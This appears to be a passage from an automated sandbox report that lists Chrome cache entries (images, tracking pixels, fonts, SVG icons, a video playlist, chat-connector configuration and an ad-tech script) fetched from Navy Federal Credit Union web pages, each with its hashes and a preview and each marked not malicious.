URL:	https://accdn.lpsnmedia.net/api/account/11478817/configuration/le-connectors/all-connectors?cb=lpCb67657x74634
Preview:	lpCb67657x74634([{"id":4448278838,"deleted":false,"name":"https://login.microsoftonline.com/4cb791f1-02d1-4a4e-8610-911ee57bb08c/v2.0","type":1,"configuration":{"jwtValidationType":"JWKS_ENDPOINT","jwksEndpoint":"https://login.microsoftonline.com/4cb791f1-02d1-4a4e-8610-911ee57bb08c/discovery/v2.0/keys","rfcCompliance":true,"issuerDisplayName":"https://login.microsoftonline.com/4cb791f1-02d1-4a4e-8610-911ee57bb08c/v2.0","issuer":"https://login.microsoftonline.com/4cb791f1-02d1-4a4e-8610-911ee57bb08c/v2.0","preferred":false,"authorizationEndpoint":"https://login.microsoftonline.com/4cb791f1-02d1-4a4e-8610-911ee57bb08c/v2.0","jsContext":"window","jsMethodName":"lpGetAuthenticationToken","pkceEnabled":false}},{"id":236355214,"deleted":false,"name":"nfcu","type":2,"configuration":{"tokenEndpoint":"https://onlinechat-sso.navyfederal.org/affwebservices/CASSO/oidc/lengage/token","jwtValidationType":"PUBLIC_JWT_KEY","jwtPublicKey":"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAlMksXW/wCaxMyJoNUM

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	13169
Entropy (8bit):	7.974144238416017
Encrypted:	false
SSDEEP:	192:+W3YxQbjXuKVbIwjyN3Z5bJzYdqqli3mOD3yymurq5BYn78tN5iW0aSHN65nSj/8:ixQbweyDTYQ9aurOw78aHEpSQ
MD5:	365F7E76925824A9EF8DBF3C8607FF8A
SHA1:	F53ADD97764C3B9D63B6230C930D168CCA85D65A
SHA-256:	D8AA09C265486B4EA41D08EA3217247244FA340C334D2B2065C740B90418010F
SHA-512:	3F6F3F45ECA67BB65DDBF588F925B704FF788C261081A9DCAAE04FADF55F6AC50075004BD0120BAE5F3A01DC8EB6862DEDC74232F8DC7656036B11102CC85D51
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/movingcouch_0108_nfcu_0522?qlt=80&wid=480&ts=1714670433638&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D...............2W...(iinf..........infe........av01Color....jiprp...Kipco....ispe...........A....pixi............av1C........colrnclx...........ipma.................2_mdat.....b;....h4 2.d.p.E.Q@.C..%!.sW.{.'...zF..<.gjqB.7F1.>/...}T.B...]...4.o/+..U;.].+.(...xR...~.{.....3j>.."..M.,.V.....Q9TcJ..R.."..Lk...-..B....^.......z.ADY.."O..9x.7X..t..S....(.......Mz....&....oDX(BH[Jf...$.I.H.A..{Q.1.2..2......1.09...{...K...?..ed.Z.E..\|`..&.....l..0....S..$.......c-Q0.....A...g.?5.........$...ap^.-...t=.]Q.\|7....(.@C..J~..bhH..&.H...c.....f.....S.6.YG...Fg.87U...\|....<9J`.....1..I.9.Sk.@......\|.v.R.b.).E'.......Y..y@+j.S.]J\... ..4yM... .....D.p.K#.8.A.-.u.....j......R.Np.o..k4....)Q..!wX,.3.^5.<.......:;w.[.y;./..Z.0......9..1..KU=...@A.Y...\M.\......U..W..".S....1.%..4.U....tg..YB.....=.C.......:...).?.4s..E..v....;.[.....I....z+.l......8

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	8321
Entropy (8bit):	7.95289783025173
Encrypted:	false
SSDEEP:	192:+W8uATKowKk8xOSzsRCWOXOxPpa0X3KWnAlJjh/uyGKg+kQaSkYy3mr6:CLtkUzsRxO+9lHKWnAlVg+kQa1p
MD5:	F671AC149FB3C3B38D284BD5452B17CB
SHA1:	2657211D9D1E4061F8FB73C24BBEACB0230D4B34
SHA-256:	C4E8BB0324D11A9F339C1025170AD5EB9D8BF8AFA547034FA367E470859B9D73
SHA-512:	E90B3A57B8F6AFD3B7D6882E1F8C25296A5F788E87CCFCF20ACEF9AF11BBFC3F7E9BAB389C9E7C659D578CE0265ED813E72945090BFC453501FC683F41DB3559
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/gettyimages-4995505311?qlt=80&wid=320&ts=1715017958805&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D................g...(iinf..........infe........av01Color....jiprp...Kipco....ispe.......@........pixi............av1C........colrnclx...........ipma..................omdat.....!......h@2.>.p.E.Q@......6...S..$\J4m..b..y.g....h.lk..n1vZ{\|...).^..c..5.(......k.WX./...P.?i_dJq@/.._".D\|.b...{...Z...r..,....<..h...M..Y......2',...^...!l...{KV.:..8q.Y7....$6.[W.3m.......AO.......b^I.fvL?..`...g$?..l..X..]%....G(..q..8.",n........?....5..\|....e.u.y...4...d.;.?...(.V.%x.-..w;....F.=..B....1....M.......h)6fc../..0.C...ru.}...4.A.xRk(....l......M.:..Mz.....x..Q.HG.....U.:G...rz..#.."b>...1Ui:.>L~..w..Ac..y.(._U..6.......4O.y..T....QB.2..W..w5..$l.. .:..QW.,W.[.k..}.ZQ\|..w...a~}B.K...J.. Dy...6.k.1.......7...].]........_...Y.#(..J......^.u........`q.,o..;.+...S...b.....h...tt%U..WU.c.p...9.F...x.._.N.L vI.t.).(T..<ZdJ.&.....f..K.......65.*1z

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/rum?cm_dsp_id=39&external_user_id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&expiration=1719182780&gdpr=0&gdpr_consent=&C=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	M3U playlist, ASCII text, with very long lines (377)
Category:	dropped
Size (bytes):	2084
Entropy (8bit):	5.094316711063718
Encrypted:	false
SSDEEP:	24:OfvKvobatzKvjbatzKvebatzKvBbatzKvcbatD:OfvKv0aJKvPaJKvuaJKv5aJKvgaV
MD5:	1C36FF1029ABFC155DDAE89E18DF9379
SHA1:	97A5F61FBCA05EBC69B24BD76ECE6F2E437C5B94
SHA-256:	777F4615DF54D4DB51B043EE49BF6A5A633E178B799640BFA9B6571BEEF6239C
SHA-512:	70D041100FEEC8EAD4E0C3EE5481FB8A6D2C2C06EC50818B0DAC499387FE67976E71F84D3014B3FC973459935B990D0833841B464685509F7F8ABA37B532CEEB
Malicious:	false
Reputation:	low
Preview:	#EXTM3U.#EXT-X-VERSION:3.#EXT-X-PLAYLIST-TYPE:VOD.#EXT-X-MEDIA-SEQUENCE:0.#EXT-X-TARGETDURATION:10.#EXTINF:10.000,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc28e41488/1x/segment0.ts?akamai_token=exp=1716604745~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc28e41488/~hmac=b51a72d4d3a8f4dd8879c4cd9c87cbc43fc95c052d20197af43de528db9797a8.#EXTINF:10.000,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc28e41488/1x/segment1.ts?akamai_token=exp=1716604745~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc28e41488/~hmac=b51a72d4d3a8f4dd8879c4cd9c87cbc43fc95c052d20197af43de528db9797a8.#EXTINF:10.000,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	7290
Entropy (8bit):	7.94681375213918
Encrypted:	false
SSDEEP:	96:+cLjrZaRptwh2qmdC7kkeOeu3XNnc5slomC6Y9BfiutfmXoVABnJwYknmLxTb4w5:+WPWQoOxXu5sU/7xsoVfY398wxqpzZCj
MD5:	5D95CCA8CCEE95A1B0147340DBAC4D89
SHA1:	9264ABB776D6111C575B1ECA9B8DF1E75DC8EAF8
SHA-256:	F2D5AFB04CE51BEC7708F5426F506B61181052F02B888A4528A4284057B8FCBF
SHA-512:	17D976D585DF28815A4C68776C2BA030D9A98FB4E163A0D095BACC542B4B52A8A44946B53C004E800515E0ACFD2D5761BB3AA22D72403028BAE87DB06994707D
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/martin230210nfcu10890?qlt=80&wid=320&ts=1714681870823&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D................`...(iinf..........infe........av01Color....jiprp...Kipco....ispe.......@........pixi............av1C........colrnclx...........ipma..................hmdat.....!......h@2.6.p.E.Q@.+F.\|......GC..v..h,.}.........@xf> s-.xJ..\...KD..Z.'pUe.z!.......~.I.<".M...c...(......r...2.q\|.......>..L..wt...g. ....B[B...`..r...8U...?0.eE..M@.j.Si...:T....c.......'..L......-u..#.:..........mS.l.<........y.'ARq..........N.DA.+.Bz...I .....ui.:...G...>..:..............u..{.j!.....&+G3..Fs.u5..K9O.,.@..+..........$..V.HD.....&......<.3u.F...H..Ps.FR[...+..]./..k.>..... .m..<=9.....#....p..u.`.\/....E.[.C7"Upj....1C....P&l.#......v._.jg)dc....%.d..lP.....'.....nR..........3k6.p.h@...EA&..S.<.fi.MG.M.z.............6-wnkc...O..1..N6....&o6...v4.......H..Wb5..PG...,M.;O+u../..lXP.@6.....).F`...:".9....R.Li.7..>.4v.Y.L>ET.^.m.qj.....?`7.++.T...

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUkwx7tHh/:fD/
MD5:	221D8352905F2C38B3CB2BD191D630B0
SHA1:	D804B495CB9B84B9007A25B5D85F9AE674004CDE
SHA-256:	89FE0EE6020314794FC2CFEACF3D10C31050CFE56F8EBDDF1ED0A33FBE941FA7
SHA-512:	CB3397776F5CA1D15D24786896B2478C6548D0B14DEC0832BFB16C4C419135300704F8A7A4DFBF56D625429C1598EE8110958648F25A3CCA09E6956C1FD3335F
Malicious:	false
Reputation:	low
URL:	https://px.ads.linkedin.com/collect/?pid=5351114&fmt=gif
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 372

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 320x214, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	11284
Entropy (8bit):	7.981693701079601
Encrypted:	false
SSDEEP:	192:xPpA6v8sUQLgHz7al9PFJrS7qKMdzbIoAjAbJmgWlcVT63gqoUlGttXgh/XW1MV:dGyvxgLuDACu2xvv3YXWG
MD5:	0F193605353FC8B945DBF62CC6BF3508
SHA1:	50B913FFE799AC5F18E5D2C95D2D504D45121E1C
SHA-256:	14AE5E4C555F9C7F5DF149347D9EA7E59ADD3E75C2630DD691427C91476A6CE4
SHA-512:	158233E4C953E1DC43AA6BDA12A16BF664C44F06611E0C689DE9370BF3EBB0BF31D06F2D7334C5D408AACEA7AE280E6875A12EFE9D1146A5B7FB895973AEA628
Malicious:	false
Reputation:	low
Preview:	RIFF.,..WEBPVP8 .,..0....@...>.@.I...!)......c8...'.....4w...?.<.~.....]_...y..i........n/.-........S.^t....w..W7.@_...<..W./..(.../X?.\|.~../.o..Q.Xj..F.(.......-.-.....Ki...v.H.ue...k.;.U.Z.O...i.h3...g.=...g!...d.,......V.k.'...j....\|Z[....Br....f...'.7.........:q].t&.....co.K....c=S..t.4.1.e.%.k...%Z;Z....Dwp.`..~\.\.5.......g...,2....T...q>.....$'..I.6..B..O.+&...mYN...../!]..6x..x....b<.v...)dX.&M...qv.d.V.....GQ.4....\|f.6..ha..O.....A.2.cO.N.......XUO@...E...A...V g1T......wY ...x`..<..."...7..4..lG2,....Gkw/..DX.[..G..7r..G.J.z.kxUO.....a....w.u&.]7..2.4......s.EW..h.fd.g..zM.d.e.....{...S.[..NJ....3.}*.].......#../..e... ^.E...O..?xG...x5$...L.........@P.`zJ....v.Ks)....?g..."......r..L.O..-.y.@.,..'D..C .\|/$.'.z..O...F....o..Z..02.w.~.J)....J....CO...._..^..t.....{lQ.......m.0....c..o.[.!@.D....c.h......T.^t.s..P.?.....u....[..0Q..b"..MH...j'..P6M..lt..}....s..e..4..:~...8o..t$.\|?i.8...?..2..I.Gz&....\{B.<.....0....hF~".R...)

Chrome Cache Entry: 373

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	82
Entropy (8bit):	4.418442407934719
Encrypted:	false
SSDEEP:	3:YAv+ePAw6+SLFcXGAEcCw6LCpRpLUQCF:YAm7+4yEfGLU7F
MD5:	F6E7067F1E105506055CD2D84033466D
SHA1:	37384BDA1BB953E77A98441D2CC53AC5A22B932C
SHA-256:	FF3A6A36A39826D94E9E677F97D8953EEAC889ADC9C1B79295D9B69B14A6E5C5
SHA-512:	5D278D317FE3AA7B997CD16EE8BC011E2BBA9FBAD647D851CFB557EECBA7218D6172C254B2B70DFCD6875F32FAC81A3E84C9DE5F138B4C526E51DA5387D0EB7E
Malicious:	false
Reputation:	low
Preview:	{"errors":[{"message":"unknown user creation is pending","title":"Bad Request"}]}.

Chrome Cache Entry: 374

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 375

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12155)
Category:	downloaded
Size (bytes):	12157
Entropy (8bit):	5.2815440011561945
Encrypted:	false
SSDEEP:	192:LtmBhIzAKFdDQ9bsBKfsFod33leAVTwUZChR79B7rSN7eTVqAd+ha4h+sWVO/nqD:L4Bhn6dDQVsBGli79B7eCxqAKaCFwD
MD5:	A60A4E2650F94DA6F243B9518761B381
SHA1:	6BC78CE4D63E46228B0259083536E67CAA439488
SHA-256:	424CE4E99E7476FCA8E9D27D6C15B60466AB7CF1C7D7C896E1C63F7CD6A818C8
SHA-512:	33237324492FC9F8377D79992036E2A53E2D2203E0019C2986FFE6EF0DF82BCE7DFF8E216479C5A52C7F598A0C9B6E0CB3B957E4EFEAD13A1ACA2A059D236F15
Malicious:	false
Reputation:	low
URL:	https://js.adsrvr.org/up_loader.1.1.0.js
Preview:	!function(){"use strict";let c=null;const l=["debug","info","warn","error"];let s=l.reduce((e,d,a)=>(e[d]=function(){var e="debug"===d?"log":d;if(c&&console&&"function"==typeof console[e]){var t=l.indexOf(c.toString().toLocaleLowerCase());if(!0===c\|\|-1<t&&t<=a){for(var n=arguments.length,i=new Array(n),o=0;o<n;o++)i[o]=arguments[o];const[a,...r]=[...i];console[e](d.toUpperCase()+" - (TTD) "+a,...r)}}},e),{});function e(e){c=e}let f=null,o={},p={},m={},v={};function t(e){var t=e[0],e=e[1];if("setIdentifier"!==t)throw"method not implemented";i(e)}function r(e,t){n(t),function t(e,n){let i=f.detectionEventType;let o=h(e,n,f.triggerElements);let r=[];let d=h(e,n,f.cssSelectors);p[n]=p[n]\|\|[];v[n]=v[n]\|\|[];m[n]=m[n]\|\|[];for(var a of d)a&&a.tagName&&"INPUT"===a.tagName&&v[n].push(a);s.debug(`triggers ["${n}"] `,o);s.debug(`validInputs ["${n}"] `,d);o.forEach(e=>{p[n].push(e),r.push(e[i]),m[n].push(e[i])});for(let n=0;n<o.length;n++)o[n][i]=function(){try{s.debug("Detect event: ",i,"on elemen

Chrome Cache Entry: 376

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	low
URL:	https://px.ads.linkedin.com/attribution_trigger?pid=5351114&time=1716590776264&url=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html
Preview:	{}

Chrome Cache Entry: 377

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 378

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	802
Entropy (8bit):	7.280644557364196
Encrypted:	false
SSDEEP:	12:6v/7Fm5l188YSlaAH7+m6HaY8zOEz9aIwpVf+bkoFLeVabWoqZ8:TqyHkR8iEzYZVfIkottKDi
MD5:	FD8062CFBED2A0C779BC4FB03292CC3F
SHA1:	344EE7C4C0A5A0CEE134B2CEC9BE5FDC233C4CA7
SHA-256:	3AA13C5E612EB809D49E69695D82694D459110A305487267522342CA843E39A8
SHA-512:	85BD35307715DCDE5876E76EC899489E56C7113EA47C52B8BA97F21918FBE966331285E59E1E5A0F2E0C829ECCE5B08DDDBFD24637E6508FED5A407E4100E01C
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/vt?pb=!1m5!1m4!1i4!2i1!3i7!4i256!2m3!1e0!2sm!3i693439497!3m12!2sen-US!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0&key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&token=25854
Preview:	.PNG........IHDR.............k.XT....pHYs................PLTE......OS[~..................Us !$.......]r....IDATx..... ..Q.A...f(...M...w..-7.....J..C.........z.. ..c...g..._.z&.@UJ?n........]]=.%."`.x..i5.O#....W.FW.+...Y....s..1.....b.!..W3....g.e..\.9.d...P.5C^.l.?.o3B;J.2>z.....Ql:.!...~Z.......A...U..a..#..........PJ.-q.2`6....6.......>.m..F.....\..J.jg./=.60........O.S....~N.c...z.f...a_.>..G.48.;.c.g.A...H.\...?......P.......Z.V.\|.........C[......Q...l.....;..=..9 ...........Q...fw.1)\.=.?........e! .hw....K.v............................................................;.[...}.......0x%.......`.t.TB.J......AR......\|%... ?...TB'.J.X... .a..pC......!..:q...x........._..O. ......6.TBn..86...s.L.N.."..8q..)yTB*...m%.....y....g./............IEND.B`.

Chrome Cache Entry: 379

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3686
Entropy (8bit):	5.262739993256352
Encrypted:	false
SSDEEP:	48:cBUA8f3iH6fIJ+HUw9cYtGwgkRw7QyJhjfxJfFsuBxbkdOHCbaYEEgr:88fy63HUwqYtGwiJRpZFsufbODan3
MD5:	AD24CF1BC3BC1DE079051197869F89DC
SHA1:	7C04BD481272F99E5F934E4D58439819637C5EA2
SHA-256:	4D7F4F335C40351C057A455DFDF12BDB12A4FBFB04CBB7BFFEACC32E612B585C
SHA-512:	198686A7674BB72F5FD6A12B981762A002BF0F407DC23A3B0BBED681B1C51BE56DAF485D44B27050C6A37BDEBFF1A21BCF1CB4A1CCEA183B3BAB628A7BAA7FD0
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 28.2.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 160 160" style="enable-background:new 0 0 160 160;" xml:space="preserve">.<style type="text/css">...st0{fill:#ED780F;}...st1{fill:#FFAA5F;}...st2{fill:#004785;}...st3{fill:#003366;}...st4{display:none;}...st5{display:inline;fill:#FFFFFF;}...st6{display:inline;}...st7{fill:#FFFFFF;}...st8{fill:#7AB4E2;}...st9{fill:#1B68B2;}...st10{fill:#CFE6FA;}...st11{fill:#E8F4FD;}...st12{fill:#0F3D70;}.</style>.<g id="Layer_1_copy">..<g>...<circle class="st0" cx="80" cy="80" r="80"/>...<path class="st1" d="M80,0v160c44.2,0,80-35.8,80-80S124.2,0,80,0z"/>...<circle class="st2" cx="80" cy="80" r="67.9"/>...<path class="st3" d="M80,12.1v136c37.5,0,67.9-30.4,67.9-67.9C147.9,42.5,117.5,12.1,80,12.1z"/>...<g class="st4">....<path class="st5" d="M78.5

Chrome Cache Entry: 380

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15056, version 1.0
Category:	downloaded
Size (bytes):	15056
Entropy (8bit):	7.984680532189018
Encrypted:	false
SSDEEP:	384:30+gD+0lYYJjB8XuRkEZ60P+iit7TEmfT3zj/o:xp0lYqjGXu7ZN+pEcTjj/o
MD5:	0EDB76284A7A0F8DB4665B560EE2B48F
SHA1:	02496387A5F7BF7B79DF52C7B76ECE4EBC7A0710
SHA-256:	74201A4B97EC1D5E86252DD0180EAFD8C5378A9235864DBCD682F3575B41C85B
SHA-512:	6A835B18154581C56EFDB906CFB10E3DABECE6679EB4EA980CFD4506B2B1C2CC23A637D01B3D577C399C8CE1033A9DBB47A28142C3BF95EEFE70BB72F2729669
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfculibs/clientlibs/uife/clientlib-uife-nfculibs-site/resources/fonts/open-sans/open-sans-v18-latin-700.woff2
Preview:	wOF2......:.......q...:o.............................t.`.......`.....@.....N..6.$.... ..B..x..x.[b.l\e.......0........q....:d.2..7.F..t.u.5.UJ..>.SX....2n...7J...&..^q7.........C...z&O......#.f....aG_E.....}.K.......G.&...5.2p..'..7...?)g....Fb%i$.".....`d..4jn..sa..b..\.{.E[U.%.U..n.9@..........Xg~.##C...T.;.5P...C'...X."....w.......L..i.H.=yM...jL....vbX"{.4J...!.....0._g..A.@.I"....]y.._`.C{.Us.6.m....Hg6+....C.L.qQ...........L#]:.......B.E...........xf.<.m.C9NK0u[!.)?.6I....3.lw..nE...G.!..$.D..rQ.....&D.....R..P.........y.tJ..t.TZ.....K.X.P.P...(}EY.u.m,k.I../2t+.......V.5/.j...p....;...?...[.Mq..n@.?.4..23.r....OK....C..{...%.....#.k........<.sr....a...W.z.y.....{...].E....F..!.....Y.....Liel......G.\.p..S.....H?h.K...6....^...r.v.@.].(... ....Q.+n...FZHk.Qz...2..@...8....)X.2..h;...._.....D$'\u3..)x...'..$,.}..ZG...).s...-.......w..=.......>.{....g...{..S...%@.X..G..v...).U.....^D....-}k...\|.../.....5...!.w.D..X.Iv<3..sF...=[..lom6...u.Z

Chrome Cache Entry: 381

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1793
Entropy (8bit):	4.9845758758262
Encrypted:	false
SSDEEP:	24:t4LxmN6gX3+xsXQhK0RJJdqOSNYm1hUoj+X0rhmAt9S1hbwcQ+FkeaK1Sn:+xcHcJJ3MmJa+qn
MD5:	19842C05DFE4E21FC8AF849139B416AF
SHA1:	116272CC02A9AACE0B999974496D73B347B12E48
SHA-256:	EE8EEE8FDAC3601EBC3CE7705F72D2B5FE5C744E760DB85D9D5220725E7350A9
SHA-512:	7B09879B57C8ECCA150993C04F2FE88D53A93F80291E152467D6CA55DF533BB016BD5B3C14FB33E901503BF4DC56EB7A570384D331CA209C19F04A8D5FFAC724
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/content/nfcu/cell-phone?ts=1689212354158&dpr=off
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 64 64">. <defs>. <style>. .cls-1 {. clip-path: url(#clip-cell-phone);. }.. .cls-2, .cls-3 {. fill: none;. }.. .cls-2 {. stroke: #71b8f7;. stroke-width: 4px;. }.. .cls-4 {. fill: #71b8f7;. }.. .cls-5 {. stroke: none;. }. </style>. <clipPath id="clip-cell-phone">. <rect width="64" height="64"/>. </clipPath>. </defs>. <g id="cell-phone" class="cls-1">. <g id="cell-phone-2" data-name="cell-phone" transform="translate(-8 -8.001)">. <g id="Group_5460" data-name="Group 5460" transform="translate(8 8.001)">. <g id="Group_2089" data-name="Group 2089" transform="translate(0 0)">. <g id="Group_1287" data-name="Group 1287" transform="translate(0)">. <g id="Group_1279" data-name="Group 1279">. <g id="Ellipse_123" data-name="Ellipse 123" class="cls

Chrome Cache Entry: 382

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2524), with no line terminators
Category:	downloaded
Size (bytes):	2524
Entropy (8bit):	4.950587002766723
Encrypted:	false
SSDEEP:	24:jWyjOFAQxcHSUJpYAckASvpoZoFfnJR1Q+hXtUJuKfJ5jejUeJKeP:WqN/LnNjm0AyZN
MD5:	6CCE83C812435501B6DFA1656F9234A7
SHA1:	3A171423AF572B155351D549596E222D012FA925
SHA-256:	205618CF255576E7CF451ABEB3DD59E2EF518332336868A583D49FA0F30B5795
SHA-512:	75F1BD592CA51D8FD679B4EB3B40CAA15E6B8381ABAEA353A74396F7A85CF7D0A648B8A6DFD43B0D3FB259FA924E7D7C4CB6D2F839645C1FE8F9D9F5C1D314C9
Malicious:	false
Reputation:	low
URL:	https://accdn.lpsnmedia.net/api/account/11478817/configuration/le-campaigns/zones?fields=id&fields=zoneValue&cb=lpZonesStaticCB
